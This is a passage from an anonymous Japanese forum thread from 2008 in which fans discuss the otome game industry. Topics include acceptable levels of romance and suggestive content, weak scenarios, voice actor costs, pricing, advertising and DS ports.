ニーズがあるから出るんだろうし、別に廃止しろとは思わないけど
公式なり何なり一言書いてあると嬉しいんだけどなぁ…。
- 423 名前：名無しって呼んでいいか？ ：08/04/03 20:23:39 ID:???
- そもそも何処からが微エロだ？
例えばキスなら何秒超えたらエロとか、吸ったらエロとか、
舌入れたらエロと（以下自主規制）
- 424 名前：名無しって呼んでいいか？ ：08/04/03 20:24:45 ID:???
- ＞公式なり何なり一言書いてあると嬉しいんだけどなぁ…。
だから精神的に大人（笑）と書いてあったのか…orz
- 425 名前：名無しって呼んでいいか？ ：08/04/03 21:25:16 ID:???
- >>424
あれもどうかと思うけど、まあ心構えはできるからいいとは思うんだよね。
書いてないよりかは。
>>423
キスでもディープっぽいのは嫌だな。
あとはﾚｲｰﾎﾟ描写とかﾘﾝｶｰﾝを連想させるものとか。
逆に、付き合う→いいふいんき(ryになる→暗転とかだったら許容範囲
なんか矛盾してるけど、ようはプロセスが大事なんですよ。
ｔｋ全年齢なんだからエロｲﾗﾈ
- 426 名前：名無しって呼んでいいか？ ：08/04/03 21:29:39 ID:???
- 微エロ隆盛のきっかけとしてよく挙げられるフルキスはそうだな
>付き合う→いいふいんき(ryになる→暗転
付き合った後を描いてるからエロくもなるし、別れたりもする
特に好きなゲームではないが、その点は目新しかった
難しい設定だから後に出たゲームには微エロしか続かなかったけど
- 427 名前：名無しって呼んでいいか？ ：08/04/03 22:24:00 ID:???
- キスの深さは文章だけじゃなくて
絵師の原画や塗りに寄っても結構変わるよな
- 428 名前：名無しって呼んでいいか？ ：08/04/03 22:54:37 ID:???
- あとは声優の演技とか？
チュッくらいなら問題ないと思うがそれ以上やられるのはちょっと嫌かな
ギャルゲやエロゲで良い評判なのって技術だけでなく
制作者がギャルゲやエロゲというジャンルが好きな場合が多いと思う
シナリオ書きたいからエロゲやりまくったって人や同人ゲーム作る位情熱あったり
- 429 名前：名無しって呼んでいいか？ ：08/04/03 23:07:28 ID:???
- 問題は好き嫌いや情熱と才能は決してイコールでは無いってことだな
乙女ゲー好きってだけで優れたクリエイターなら
この板に居る連中だけで凄い人数になるw
ゲームの批評やレビューは面白いのに
本人の作った同人ゲームはｳﾍｧな人はすんごい多いww
- 430 名前：名無しって呼んでいいか？ ：08/04/03 23:22:21 ID:???
- 情熱と才能は＝ではないが、情熱が無ければせっかくの才能も無駄になる
って感じかな
良いものを作りたいって情熱だけじゃなく、良いものを作るには何が必要か
客観的に考えて模索することが出来るかも重要な気がする
- 431 名前：名無しって呼んでいいか？ ：08/04/04 01:10:38 ID:???
- ＞何かを目標に作って劣化劣化コピーが大量生産されたのが現在の状況
何かを目指すとか、そういった情熱や向上心がそもそも感じられない。
どこも楽して売ることしか真似てないような気がする。
良い意味で目標にしたくなるような、業界に革命を起こすほどの名作がでれば変わるんじゃ？
- 432 名前：名無しって呼んでいいか？ ：08/04/04 01:23:00 ID:???
- 良い意味で目標にしたくなるような業界に革命を起こすほどの名作ねえ…
問題はその名作とやらはどうしたら生まれるんでしょうね、てことだが
……果報は寝て待て？
- 433 名前：名無しって呼んでいいか？ ：08/04/04 01:32:33 ID:???
- 今の知名度じゃ才能ある人間が乙女ゲーに出会う確立も低そう。
もっと広まれば業界にも人が多く入ってきて良い作品も生まれるんじゃない？
女性向けってホモなんでしょ？とか言われるようじゃ…orz
お手軽萌え、やりこみSLG、シナリオ重視ADV、微エロ、超ﾌﾟﾗﾄﾆｯｸ…
全体がそういう流れとかじゃなくて、
それぞれのブランドのカラーになれば住み分けできて良さそうだけど
そこに行き着くまでに衰退しそうな感じだな…。
- 434 名前：名無しって呼んでいいか？ ：08/04/04 01:52:23 ID:???
- >>431
向上心ないよねえ。
キャラをいかに魅力的に作るかより、テンプレ性格にしときゃ無難だろとか、
腐女子人気の高い有名声優使っときゃ売れるだろみたいなのばっかり。
もうウンザリ。
商法も老舗の真似ばっかりして、派生ゲー、CD、アンソロ、声優イベント…
本元のゲームで楽しませる気はゼロですか
- 435 名前：名無しって呼んでいいか？ ：08/04/04 02:08:30 ID:???
- それなりに冒険しているタイトルもあるけど
あまり売れずに埋もれて行っちゃってる感じがするな
ここの話題見てても、結局は大手に目がいってるみたいだし
弱小が頑張ったところでどうにもならないんじゃないの？
- 436 名前：名無しって呼んでいいか？ ：08/04/04 09:56:48 ID:???
- 余程ゲーム本体が売れるメーカー以外は
派生商品を出さないと採算合わないとは聞いたことがある
- 437 名前：名無しって呼んでいいか？ ：08/04/04 11:55:18 ID:???
- ここのスレ見てて思ったんだけど
ここの住人が今までプレイした乙女ゲーで
「あ、これは将来期待できる”かも”」
と少しでも思えた作品ないの？
- 438 名前：名無しって呼んでいいか？ ：08/04/04 12:23:49 ID:???
- 総合アンチからのコピペだけど
＞734 ：名無しさん＠板設定投票日決定！詳細は自治スレへ ：2008/03/28(金) 19:38:35 ID:???
＞システム回りを肥がやり
＞ゲーム全体の原案をヴァンテがやり
＞声優集めをヒュネがやり
＞絵師集めをオトメイトがやり
＞シナリオをタクヨがやり
＞声撮りを小波がやる
＞変な化学反応起きそうだな
こんな具合に期待してる
- 439 名前：名無しって呼んでいいか？ ：08/04/04 12:31:40 ID:???
- >>437
名を上げた瞬間、叩き合いが始まるんじゃないか？
将来期待できる＝要するに自分の好みか、って基準になりそうだし。
- 440 名前：名無しって呼んでいいか？ ：08/04/04 18:25:18 ID:???
- 良いところであれ、悪いところであれ
片方だけを挙げていったら叩きあいになるかもしれないけど
両方ちゃんと挙げれば多少は違うんじゃないかな
しかしこう書いておいてなんだが
「○○はいいけどシナリオが……」が続出しそうだｗ
- 441 名前：名無しって呼んでいいか？ ：08/04/04 20:14:47 ID:???
- 個人的に好きなのはタクヨだけど、テンキーは開発頑張ってると思う。
- 442 名前：名無しって呼んでいいか？ ：08/04/04 22:20:36 ID:???
- 悪い意味で完ぺき主義だよな
ジャンルに大きく影響与えたゲームだって初期はそんなに神といえるものじゃなかったと思うよ。
どこかバランス悪く突出していてそこに将来性を感じたりとか
あと、「これって乙女ゲーじゃないよ」という声が出るよというけどそういう保守的なところが首絞める元かも
BLはニトロが参入して一つの可能性が見えたけど、乙女にもそういうのが欲しいね。
傾向としては男性層を意識した作品がいけそうな気がする
- 443 名前：名無しって呼んでいいか？ ：08/04/04 22:49:50 ID:???
- 好きメーカーが叩かれるのは見たくないから
名前挙げれねえよww
- 444 名前：名無しって呼んでいいか？ ：08/04/05 02:06:37 ID:???
- シナリオに独自性がある所に期待してる。
シナリオ良くてシステム残念なのは、まだ後々修正される希望があるかと思って。
まあ同じメーカーが何作も続けてダメシステムだったりするともう希望もないが。
- 445 名前：名無しって呼んでいいか？ ：08/04/05 03:24:37 ID:???
- >>437
期待したところにはｼｮﾎﾞﾝさせられてるな。
肥しかりロゼしかり。
まだｼｮﾎﾞﾝしてないメーカーももあるけど、
一般ゲーの傾向見る限りシリーズ進むと迷走するクチっぽかったり
次作があるのか自体見えなかったりだ。
あとプレイしてってのとは違うけど、ユアも発売前は何気に期待したんだが
出来は毛色こそ変わってるものの気の抜けた炭酸飲料って感じ。
- 446 名前：名無しって呼んでいいか？ ：08/04/05 09:20:40 ID:???
- >出来は毛色こそ変わってるものの気の抜けた炭酸飲料って感じ。
乙女ゲームなんだからああしろ、こうしろ言われ
乙女ゲームなんだからあれは駄目、これは駄目言われ
結果的に飛び抜けた部分の何もない
つまらない作品になったパターンかもしらん
- 447 名前：名無しって呼んでいいか？ ：08/04/05 10:06:43 ID:???
- そうだなぁ…あれこれやってほしいという要望と同じくらい
あれこれやってほしくないという要望もある、そんなイメージ
- 448 名前：名無しって呼んでいいか？ ：08/04/05 10:53:50 ID:???
- それで±0か
いやマイナスのほうが多いか？
- 449 名前：名無しって呼んでいいか？ ：08/04/05 10:57:44 ID:???
- >>448
試しにここの住人のやってほしいこと、やってほしくないことを
書き出してみたらどうだろうｗ
- 450 名前：名無しって呼んでいいか？ ：08/04/05 11:26:06 ID:???
- 乙女ゲー的にやらなきゃいけない事をやらなきゃ猛烈に叩かれ
乙女ゲー的にやっちゃいけない事をやれば猛烈に叩かれ
しかも回ってくるのは低予算じゃなあ…
自分は特にストーリーを強化して欲しいんだけどな
キャラの設定や性格・トラウマを知る事はストーリーでも何でもない
- 451 名前：名無しって呼んでいいか？ ：08/04/05 11:44:05 ID:???
- やっぱりシナリオかな
個人的に「ギャルゲーと同じ作りをしている女性向けのゲーム」としての
乙女ゲーを求めているから、お話部分をしっかり作りこんで欲しい
- 452 名前：名無しって呼んでいいか？ ：08/04/05 11:56:12 ID:???
- > 自分は特にストーリーを強化して欲しいんだけどな
> キャラの設定や性格・トラウマを知る事はストーリーでも何でもない
現状、こればっかりだよね。
所謂カウンセリングゲー。
なんで癒されたい自分が聞き役に回らなきゃならねーんだよ。
辛い事話して重荷を半分持って欲しい気分なのはこっちだっつーのｗ
- 453 名前：名無しって呼んでいいか？ ：08/04/05 12:02:38 ID:???
- どんなスイーツだよｗ＜辛い事話して重荷を半分持って欲しい気分
- 454 名前：名無しって呼んでいいか？ ：08/04/05 12:18:56 ID:???
- ＞辛い事話して重荷を半分持って欲しい気分なのはこっちだっつーのｗ
といっても、主人公があんまり個性強いとそれはそれで嫌なんでそ？
どういう主人公が好かれるのか
- 455 名前：名無しって呼んでいいか？ ：08/04/05 12:20:11 ID:???
- より親密になっていくという部分を描く場合、キャラがトラウマを持っていたり、
それに絡んだ話になるのはしょうがないのかも
でも、それを上手に料理してくれれば、どれも同じなんて感じないと思うんだけどな
結局仕上がりがいまひとつだから余計に目に付いてる気がするよ
- 456 名前：名無しって呼んでいいか？ ：08/04/05 12:21:20 ID:???
- 女性向けの場合、論理的なストーリー展開や問題解決よりも
相手と気持ちを分かち合うことに重きをおくのかも。
女が悩みを話す時は解決方法が欲しいわけじゃなくて
聞いて欲しいだけ、って奴で。
- 457 名前：名無しって呼んでいいか？ ：08/04/05 12:24:02 ID:???
- >>456
あぁ、男は解決策を求められていると思って結論を言ってくるってやつな
そういう違いもあるのかな
- 458 名前：名無しって呼んでいいか？ ：08/04/05 12:36:09 ID:???
- キャラのトラウマ設定を知っていく過程＝個別ルートなのは
まだ我慢できるけど肝心要のメインストーリーが
ただの世界観説明になってるのは駄目だな
実はお前は○○の生まれ変わりで世界は昔から光と闇で戦っていて
今再びその戦いが始まっていて…ふーん…そういう設定なんだ…みたいな
- 459 名前：名無しって呼んでいいか？ ：08/04/05 13:04:50 ID:???
- やって欲しくない事：またこいつかよ！って声優を使う事
- 460 名前：名無しって呼んでいいか？ ：08/04/05 13:13:00 ID:???
- やって欲しい事：トラウマに頼らない、きちんと恋愛過程の描かれたシナリオ
やって欲しくない事：混ぜるな危険を混ぜる
こんな感じかな私は
- 461 名前：名無しって呼んでいいか？ ：08/04/05 13:21:20 ID:???
- ユアメモはせっかくメモリーズオフって名前使ってるんだから
本家と似たような雰囲気にすればよかったのに…と思う。
ストーリーに関しては移植以外のコンシューマー乙女ゲーにはあまり期待してないかな…。
冒険のしやすさ、参入のしやすさでPCゲーに期待してる。
少数精鋭のPCゲーの方が絵や塗りが綺麗だったりするし。
- 462 名前：名無しって呼んでいいか？ ：08/04/05 13:27:13 ID:???
- ＰＣゲーはサポートが大変そうだなと隣板見て思う
ゲームの公式サイトにスペックの確認の仕方載せるなんて男性向けじゃ考えられないぞ
- 463 名前：名無しって呼んでいいか？ ：08/04/05 14:09:36 ID:???
- やって欲しくないこと
「続きは追加ディスクでね☆」
- 464 名前：名無しって呼んでいいか？ ：08/04/05 19:57:41 ID:???
- ソフトを出すたび、だんだんイメージカラーみたいなものがハッキリしたり
進化していくこともあるし
どこも第一弾だけで終わらないで欲しいとは思う。
初作でコケたらやっぱり次は出しにくいんだろうけど
せっかく乙女ゲを出そうって決めたんだから
1回だけ終わりにされると惜しく感じる。
- 465 名前：名無しって呼んでいいか？ ：08/04/05 22:24:57 ID:???
- 3年ぐらい前までは希望が持てたんだけど
なんかこのジャンルって特に革新も起こらないまま
発展途上とかの段階過ぎちゃった気がするんだよね…
- 466 名前：名無しって呼んでいいか？ ：08/04/05 22:50:40 ID:???
- ぶっちゃけ一般ゲームに女性も楽しめる要素求めていったほうが堅実的
乙女ゲーで一般ゲーにおける女性ユーザーが増えるかと思ったら
なんかむしろ逆効果な部分が大きそうな感じ
- 467 名前：名無しって呼んでいいか？ ：08/04/05 23:43:54 ID:???
- 一般ゲーに女性も楽しめる要素を求める必要性はない
一般ゲーもやる女性はそんな要素を入れなくても購買層として存在している
- 468 名前：名無しって呼んでいいか？ ：08/04/05 23:44:34 ID:???
- ＞ぶっちゃけ一般ゲームに女性も楽しめる要素求めていったほうが堅実的
そうだよね…。キャラ萌えしたいだけなら一般の方が魅力的なキャラいるし。
たまにギャルゲーとか男性向け恋愛ゲームを引き合いに出す人がいるけど、
どのへんが乙女ゲより優れてるんだろう？
自分ギャルゲやったことないからわからないんだけど、
やっぱりシナリオ・システム・音楽は圧倒的に良いのかな？
- 469 名前：名無しって呼んでいいか？ ：08/04/05 23:48:19 ID:???
- >>468
PC版も含めて全部見渡せば質はピンキリなんだけど、
エロゲで評判のいいものからエロを抜いたものが
ギャルゲーとしてコンシューマーに移植されていたりするんで
結果的に評価が底上げされている気がする
- 470 名前：名無しって呼んでいいか？ ：08/04/06 00:44:11 ID:???
- ギャルゲを引き合いに出している人たちは
育成ゲーやADVとしての基盤を作ったものや
ADV全体の中での傑作として挙げられるもの、
一般の大作ゲー並みの予算をかけたものとか、
そういうのタイトルの存在ありきで言ってるんであって
ギャルゲは総じてレベル高いと思ってるわけじゃないと思う。
乙女ゲでどれかに当てはまるもの出たら、あまり比較されることもなくなるんだろうけどね。
- 471 名前：名無しって呼んでいいか？ ：08/04/06 00:47:35 ID:???
- 総合の流れ見て思ったけど
卒業＋同級生→ときメモ
みたいな、何かの影響を受けて更に新たなものを生み出す
そういうのが乙女ゲームで出ないもんだろうか。
- 472 名前：名無しって呼んでいいか？ ：08/04/06 00:48:55 ID:???
- ギャルゲエロゲもやるけど、ぶっちゃけシナリオに関しては隣の芝が青く見えるだけだと思う
- 473 名前：名無しって呼んでいいか？ ：08/04/06 00:50:58 ID:???
- 要は結構な年月重ねてるのに、
これという傑作が未だ生まれないって事実なんだな。
YU-NOとかEver17とか、自分のような未プレイの人間にすら
傑作なんだと音に聴こえるような。
- 474 名前：名無しって呼んでいいか？ ：08/04/06 00:55:16 ID:???
- GSからだって、もう6年経つんだよね
この6年で変わったことって微エロの波ぐらいしか思いつかんよ。
- 475 名前：名無しって呼んでいいか？ ：08/04/06 01:01:24 ID:???
- あとADVばかりが増えてない？
RPGとかしたいよ
- 476 名前：名無しって呼んでいいか？ ：08/04/06 01:04:51 ID:???
- そうなると、やっぱり予算がネックか
- 477 名前：名無しって呼んでいいか？ ：08/04/06 01:08:47 ID:???
- 乙女ゲでシューティングってどうかな？w
ゾンビを撃ち殺した分だけパートナーの好感度が上がるの
- 478 名前：名無しって呼んでいいか？ ：08/04/06 01:12:04 ID:???
- 予算のうち、声優関係の占める％ってどれくらいなんだろう
- 479 名前：名無しって呼んでいいか？ ：08/04/06 01:13:54 ID:???
- 私もたまにギャルゲの話題出す人間だけど>470の言うとおり
ギャルゲの全部が良い作品と思ってないし、むしろ乙女ゲよりピンキリの差が激しいと思う
ただギャルゲには「オススメある？」と聞かれて
（受け取った相手が気に入るかは置いておいて）「コレ！」ってのが１本か２本あるんだよね
乙女ゲには残念だけどそれがない
長所が無いわけではないけど短所の方が目立ってしまう作品が多い気がする
長所が無いゲームも短所が無いゲームも存在はしないと思ってるけど
その短所を補って余りある長所を持ったゲームが欲しいなと思う
- 480 名前：名無しって呼んでいいか？ ：08/04/06 01:19:37 ID:???
- 市場規模が小さいから開発費も少ない
運よく企画が通っても冒険すればこんなの乙女ゲじゃないと叩かれ
無難にまとめたらマンネリと叩かれ、何かの要素を加えればパクリと叩かれ
有名な声優を使えば飽きたと叩かれ、新人を使えば安っぽいと叩かれ
原画は他の絵描きと比較されて叩かれ、シナリオ、サウンドはほぼスルー
個人的に板全体をまとめるとこんな感じ
改革の糸口があるとすればシナリオかなと思ったけど
どんなにシナリオが良いと勧めても、結局は見た目で判断されるんだろうな
- 481 名前：名無しって呼んでいいか？ ：08/04/06 01:23:34 ID:???
- それが萌えるって意味じゃなければまた違ってくるかもしれない
萌えない＝クソゲー扱いされる状況で
萌えとか関係なく、良シナリオ扱いされるなら。
- 482 名前：名無しって呼んでいいか？ ：08/04/06 01:26:28 ID:???
- >>478
そこそこの声優でフルボイスだと
簡単なＡＶＧを２、３本開発できる金額になる
- 483 名前：名無しって呼んでいいか？ ：08/04/06 01:33:07 ID:???
- そういうのを聞くと他に当てて欲しいと思うが
派生や関連商品で補う部分が大きいから
そういうわけにもいかないのが現実か
- 484 名前：名無しって呼んでいいか？ ：08/04/06 01:55:58 ID:???
- 合わない物は、単にスルーすれば良いものだけど
そこを叩かずにいられないのが女性の性だしな。
だからメーカーにはそれをそのまま真に受けて欲しくはない。
でも女性に向けた物なんだから、言葉は悪いが
女性を上手く転がす手腕を見せて欲しいな。
まあ何というか、ちょっと話は反れるけど
メーカーの在り方について希望言わせてもらうと、独自のカラーを持ってそこに拘りつつ
ユーザーに対しては開かれた印象を常に与える、というか、そんな風であって欲しいな。
女性は、不透明感にはことさら不安と不信を覚えるもんだから。
例えば一時期叩かれ方が凄かったユアも、あれ工作員のせいだけじゃないよね。
ラットの首切りだろうが主人公が名前固定で歌って声有りだろうが、
もうちょっとメーカー側の、ユーザーに対してのアピールがあれば
もうちょっと受け取られ方は違ってたと思うんだよな。
自分達はどうしてもこういうのが作ってみたいんです、頑張って作ってます、
今こんな感じです、万人受けしませんが個性を見てください、みたいなさ。
（まあ実際の内容は、そんな溢れるほどの情熱持って作られた感は無かったが）
多分職人気質なだけじゃ、一般的な女性ユーザーには通用しないし
ここにいるみたいにうだうだ理屈っぽくごちゃごちゃ考えてる人間（ごめんｗ）相手だけじゃ
とても採算は取れないしな。
- 485 名前：名無しって呼んでいいか？ ：08/04/06 02:08:14 ID:???
- >>484
＞自分達はどうしてもこういうのが作ってみたいんです、頑張って作ってます、
＞今こんな感じです、万人受けしませんが個性を見てください、みたいなさ。
ここ凄くよくわかる
私はユア（というかユアのスタッフ）は嫌いなんだけど嫌いな理由は
ラットの首切りでも主人公の声有り名前変更不可でも姉が乙女ゲ的にＮＧでもなんでもなくて
一人のキャラとして主人公の個性を尊重したいから名前変更不可にしたのに
個性を抑えて感情移入しやすくしたとかわけわかんない事言ってみたり
名前変更や声のオンオフについての問い合わせを無視してみたりとか
そういう姑息なところが凄く嫌だった
個性的なものを作る事自体は悪でもなんでもないんだから胸張ってろ思う
少しでも批判されたりするのが嫌なら無難なもの作っていろと
- 486 名前：名無しって呼んでいいか？ ：08/04/06 02:43:09 ID:???
- よく面白いギャルゲ作れるところが面白い乙女ゲ作れるとは限らない
って言い分は最近よく見るが
BLだと、どうなるんだろうね。
ラブレボは企画はそうだけど、ライターは少女小説の人だったようだし
そうなると三国志が初めてってことになるのかな。
BLはやらんが、評判いい人みたいなので発売後の反応は興味ある。
- 487 名前：名無しって呼んでいいか？ ：08/04/06 02:44:59 ID:???
- ちょっと男同士が絡んだだけで叩かれるから大変だろうなとは思う
- 488 名前：名無しって呼んでいいか？ ：08/04/06 02:48:17 ID:???
- ＞自分達はどうしてもこういうのが作ってみたいんです、頑張って作ってます、
＞今こんな感じです、万人受けしませんが個性を見てください、みたいなさ。
嫌いな物は相手の出方がどうだろうと嫌うのが女性じゃないか？
頑張ってますとかウゼエ聞いてねえキモイ個性いらね終了って具合に
- 489 名前：名無しって呼んでいいか？ ：08/04/06 03:01:05 ID:???
- デュアルの話題性に対する売り上げを見ると
普通にビジュアル重視になってきたんだなと思う
まああれは売り部分が部分だし、人を選ぶてのもあるだろうけど
- 490 名前：名無しって呼んでいいか？ ：08/04/06 03:01:59 ID:???
- それでも、公明正大さというのは必要不可欠だと思うんだ。
それで失敗してるのは、ユアの他ではロゼもそうじゃないかな、
ロゼはそれ以外の部分がアレすぎで多少目立たないけど。
不透明さがだらしなさや適当にあしらわれてる感に受け取られたら
もう奪回不可能レベルの終了というか。
逆に失敗しても、それを補って余りあるフォローと
誠意を誠実にアピールして行く事で好印象に転じたりするし。
- 491 名前：名無しって呼んでいいか？ ：08/04/06 03:20:57 ID:???
- ユアは不親切というか
メーカー側にとってのセールスポイントが
多くの消費者側にとっては魅力に思う部分じゃなかったっていう
ただそれだけの話だと思う。
ロゼよりはかれなやはぴきゅあが近いんじゃない？
- 492 名前：名無しって呼んでいいか？ ：08/04/06 03:29:40 ID:???
- 企業だから信用第一ではあるし、もっともだけど
肥やIFの例もあるからな
- 493 名前：名無しって呼んでいいか？ ：08/04/06 14:53:55 ID:???
- オタの間でさえ、女性向けってホモなんでしょ？と言われる程の知名度の低さはなんとかならないものか。
もっと存在が知られれば、こういうのが作ってみたかったんだとか
BLは抵抗あるけどこれなら挑戦してみたいって人や会社が出てくるかもしれない。
キメェｗも増えるだろうけどギャルゲだって同じだし。
乙女ゲーで深夜以外にCM流したことあるのって、初代GSだけだっけ？
どこもあまり金かける気ないのかな…。
- 494 名前：名無しって呼んでいいか？ ：08/04/06 14:58:03 ID:???
- CMはかなりの金かかるから
一般ゲーだって一部しか流せないよ
- 495 名前：名無しって呼んでいいか？ ：08/04/06 15:00:42 ID:???
- そもそも男連中は
ホモかそうじゃないかの違い自体どうでもよさそうな感じ
- 496 名前：名無しって呼んでいいか？ ：08/04/06 15:47:21 ID:???
- ＣＭやる金があるならその分ゲーム自体に回してほしいもんだ
- 497 名前：名無しって呼んでいいか？ ：08/04/06 16:16:45 ID:???
- でも広告費はある程度かけないと。
どんな良作でも初動が少なかったらクチコミすら広まらない。
- 498 名前：名無しって呼んでいいか？ ：08/04/06 17:52:13 ID:???
- >>493
さすがに中の人はBLと乙女の違いくらいわかってると思うけどな
男性向けの場合は、こんなゲームがやりたい！って情熱をゲーム会社に向けるんじゃなくて
自分で作る方向に持っていったから、同人からブームが起こったりするような基盤が出来たと思うんだけど
女性向けは「誰かこんなゲームを作ってくれ」という受け身な印象がある
企業姿勢が叩かれてるところも、下から突き上げられる危機感がないんじゃ何も変わらないんじゃないかな
- 499 名前：名無しって呼んでいいか？ ：08/04/06 19:42:49 ID:???
- >>498
近頃、違いを本当に分かっているのか疑問を抱く作品がちらほら出てきているから
そう思う人も出てきてるんじゃないか？
デュエルの制作者だってブログであんな発言してるしさ
- 500 名前：名無しって呼んでいいか？ ：08/04/06 20:11:56 ID:???
- 少なくとも、
「ホモが嫌いな女子なんていません！！」
を真実だと思ってる人は着々と増えていってる気がする…
- 501 名前：名無しって呼んでいいか？ ：08/04/06 20:14:38 ID:???
- ホモがなくても、男キャラを脱がせることがファンサービスになっている
と思っている人も多そうな気がする
無意味に脱がせるのはやめていただきたい
- 502 名前：名無しって呼んでいいか？ ：08/04/06 21:36:01 ID:???
- 蛇にーズが実際に脱ぐファンサービスをやってるからなぁ…
ちょっとエロいシチュで若い子が萌えるのは仕方ないと思うんだよね
男の子同士が仲良くしてるのを見て騒いだりとかも別にいいと思う
そう言うのに突出したブランドがある一方で、もっとしっとりした
大人向けのブランドなんかもあれば良いんだけど、どこも同じような餌で
ユーザーを釣ろうとしているのが現状なんだよね
- 503 名前：名無しって呼んでいいか？ ：08/04/06 21:48:39 ID:???
- ある程度の数売れないと採算が合わないっていうけど
市場が小さい分、ゲーム１本の値段を高くしたりしたら駄目なのかな？
好きなものにはいくらでもって人多いだろうけど、
面白さ不明なゲームに幾らまでなら賭けれるもんなんだ？
- 504 名前：名無しって呼んでいいか？ ：08/04/06 21:54:45 ID:???
- そりゃ高くても買う人は買うだろうけど
そのためにボッタ価格にしたら買う人も買わなくなる率だって高くなるだろ
- 505 名前：名無しって呼んでいいか？ ：08/04/06 23:36:41 ID:???
- >>490
ロゼのはそういうのとは全く違う
- 506 名前：名無しって呼んでいいか？ ：08/04/06 23:50:00 ID:???
- エロゲ会社で冗談っぽく乙女ゲー作りたいみたいなこと言ったら
ホモ好きとは思わなかった、と普通にドン引きされたよ。
姉妹ブランドにBLがあるのは今珍しくないから乙女でも…なんて思ったけど甘かった。
同人に関しては、男性向けと同じように考えるの難しいんじゃないかな。
会社の人間が人材発掘に力を入れてるのも、
既に市場が育ちきって出るもの出尽くした男性向けだからこそだろうし。
- 507 名前：名無しって呼んでいいか？ ：08/04/07 01:25:10 ID:???
- >>506
社長以外の人が企画書作っても見てもらえないようなとこに行ってたことあるけど
冗談っぽくじゃなくて本気で企画をまとめても見てもらえなさそうなの？
勘違いされたままなのは勿体ない気がする
でもねー…みんなギャルゲーが作りたくてやってるからあまり理解は得られないんだよね…
- 508 名前：名無しって呼んでいいか？ ：08/04/07 01:48:23 ID:???
- >503
むしろ逆に予算が無いところは低めの価格路線のがメリットあると思う
値段をあげて満足できる質のいいもの作れればいいけど、
それができる体力と実力あるメーカーってほとんどない現状だし
好きなものには〜って既に好きなゲームの派生みたいに
その人にとって「面白さが保障されてる」ものにしか通用しない。
けどはまると使う額と人多いのが乙女ゲーマー（の一部）
前にどっかで
>内容が値段相応なら妥協もしただろーが、
>女は値段と中身を差し引き計算しながら叩きにまわるんだぜ
って書かれてたけど、これ的を得てると思うんだ
女はいいところあっても注文や叩きが激しい とか言われてたけど、
これ、値段安いと甘くなる傾向強い。
過去の安いd3とか、無料の花宵とか、DSのデュエルとか。
ここらへん、フルプライスPS２だったらもっと埋もれてたと思う
ファンさえつけばあとは「好きなものには〜論理で派生で回収できる。
続編やリメイクの予約買いも狙える。花宵とかそんなかんじ。
もちろん、ちゃんと魅力があること限定なんだけど。
- 509 名前：名無しって呼んでいいか？ ：08/04/07 02:00:24 ID:???
- でも低価格って回収できない時の打撃ももの凄いらしいよ
男性向けで低価格ゲームが結構出た時期があるけど
安くすれば数が出るってわけでもないので
流通もメーカーも引いちゃった
あと安くなろうが何だろうが気に入らない物は
叩くのが女性だと思うんだよね
そもそも買う前に＆買う気もないのに叩くしw
- 510 名前：名無しって呼んでいいか？ ：08/04/07 07:59:02 ID:???
- 同人フリゲでさえ叩かれるこんな世の中じゃ
まあこれは2ちゃんの中でだけ……だと思う……けど
- 511 名前：名無しって呼んでいいか？ ：08/04/07 13:27:40 ID:???
- ＞むしろ逆に予算が無いところは低めの価格路線のがメリットあると思う
これは販売と開発が同じ、もしくは販売側が開発側へ発注という形でないと
成立しないんじゃないかな
予算が少なくて云々ってのは開発側が唸る部分だから
いまひとつ打開策としては使えない気がするよ
- 512 名前：名無しって呼んでいいか？ ：08/04/07 13:51:06 ID:???
- 一本安くすればするほど利益率も下がるから、普段よりちょっと多めに
売れるくらいじゃ全然元取れない
低価格路線は企業体力がないところには無理とか聞いたような
- 513 名前：名無しって呼んでいいか？ ：08/04/07 14:32:16 ID:???
- メーカーだけじゃなくて流通や小売も利益率下がるから営業の熱意が変わるよね
同じように１本買ってもらっても儲けが少ないんだし
- 514 名前：名無しって呼んでいいか？ ：08/04/07 14:43:45 ID:???
- 予算の無さそうな小メーカーの作った低価格ゲームって
それなりな品質ですよ〜ってイメージだなあ
もともと興味があって
お財布に余裕がある時に買うつもりだったソフトなら
低価格になったことで手に取るかもしれないけど
安くなったからって要らないソフトは要らないよね
どうでもいいが「値段の割りには萌えられた」って褒め言葉じゃないよなw
- 515 名前：名無しって呼んでいいか？ ：08/04/07 15:16:30 ID:???
- 廉価版出てから買えばいいか→廉価版出たけど買わなくていいや
てのは定番パターン
一般、乙女含めると毎月新しいソフトが出るからそっちに目移りしちゃうな
- 516 名前：名無しって呼んでいいか？ ：08/04/07 15:37:27 ID:???
- メーカーが今、この瞬間に買わせることにこだわるわけだよね。
予約特典付けまくったり初回限定版作ったり。
結構前に出たソフトを新品・定価で買うのって何かためらうし。
- 517 名前：名無しって呼んでいいか？ ：08/04/07 16:52:23 ID:???
- だからＤＳ移植にいくのかもね
ちょいと新要素つければ既存ファンが狙える。
ちょいと安くなってるから気になってた新規も狙える。
元があるからそこそこの手間でできるし、廉価版よりは儲かる。
マルチプラットフォームになるから新しい顧客も開拓できそうだし
あれ、でも廉価版って売れ残ったＰＳ２をパッケ変えて売ってるんだっけ
- 518 名前：名無しって呼んでいいか？ ：08/04/07 18:03:24 ID:???
- 廉価版で普通はディスクレーベルが変わるし、
廉価版発売の際に不具合とかを修正することもあるから
本当に外箱だけ換えてるってケースはほとんどないと思う。
通常と廉価でセーブデータ互換性がないソフトなんてのも聞いたことがあるし。
- 519 名前：名無しって呼んでいいか？ ：08/04/07 18:13:59 ID:???
- 移植も良し悪しかなと思うけどねぇ
丁度今度出るから例に挙げさせてもらうけど緋色の欠片
普通にPS2で通常版を買った場合本編+FDで1万2000円
DSだと両方合わせて通常版なら5000円
ゲームだったりキャラ、声優が好きならPS2版を持っていても追加要素の為に買う人もいるだろう
すごいぼったくり商法だとも思うんだけど、DSからの新規ってどれ位いるんだろうね
- 520 名前：名無しって呼んでいいか？ ：08/04/07 18:27:17 ID:???
- 一般のBest版なんかでは割とある気がする＞中身一緒でパッケだけ変える
型番が一緒なのは大抵そうなんじゃ。
まあ型番が一緒でもバグが修正してあったりするケースもあるそうだけど。
- 521 名前：名無しって呼んでいいか？ ：08/04/07 18:31:11 ID:???
- 在庫の状況によるんじゃないかな
何度も再販がかかるロングセラーでなければ
パケだけ変えて販売って、大手でもあるよ
- 522 名前：名無しって呼んでいいか？ ：08/04/07 18:31:49 ID:???
- GS2やVitaminの売れ方をみると新規というか潜在的ユーザーを取り込んでいるとは思う
興味はあっても家族の手前テレビを使えなかった層ね
- 523 名前：名無しって呼んでいいか？ ：08/04/07 18:34:18 ID:???
- ↑522はDS移植の事です
